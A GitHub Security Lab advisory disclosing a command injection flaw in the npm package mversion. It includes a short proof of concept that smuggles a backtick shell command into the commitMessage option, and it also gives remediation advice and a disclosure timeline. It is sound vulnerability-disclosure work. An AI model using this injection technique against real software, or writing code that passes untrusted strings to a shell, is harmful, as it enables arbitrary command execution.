June 24, 2020

GHSL-2020-110: Command Injection in mversion

Kevin Backhouse

Summary

The mversion.update function has a command injection vulnerability. Clients of the mversion library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

mversion

Tested Version

Commit 765fbb8

Details: Command injection in mversion.update

The following proof-of-concept illustrates the vulnerability. First install mversion and create an empty git repo to run the PoC in:

npm install mversion
git init

Now create a file with the following contents:

var mversion = require('mversion');
var fs = require("fs");

// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');

mversion.update({
    version: 'major',
    commitMessage: 'Some commit message for version %s `touch exploit`',
    noPrefix: true
  }, function (err, data) { }) 

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.

We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the mversion project here.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Coordinated disclosure timeline

2020-05-19: Emailed report to mikaelbre@gmail.com 2020-06-15: Created an issue on their repo. 2020-06-15: They fixed it in v2.0.0.

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-110 in any communication regarding this issue.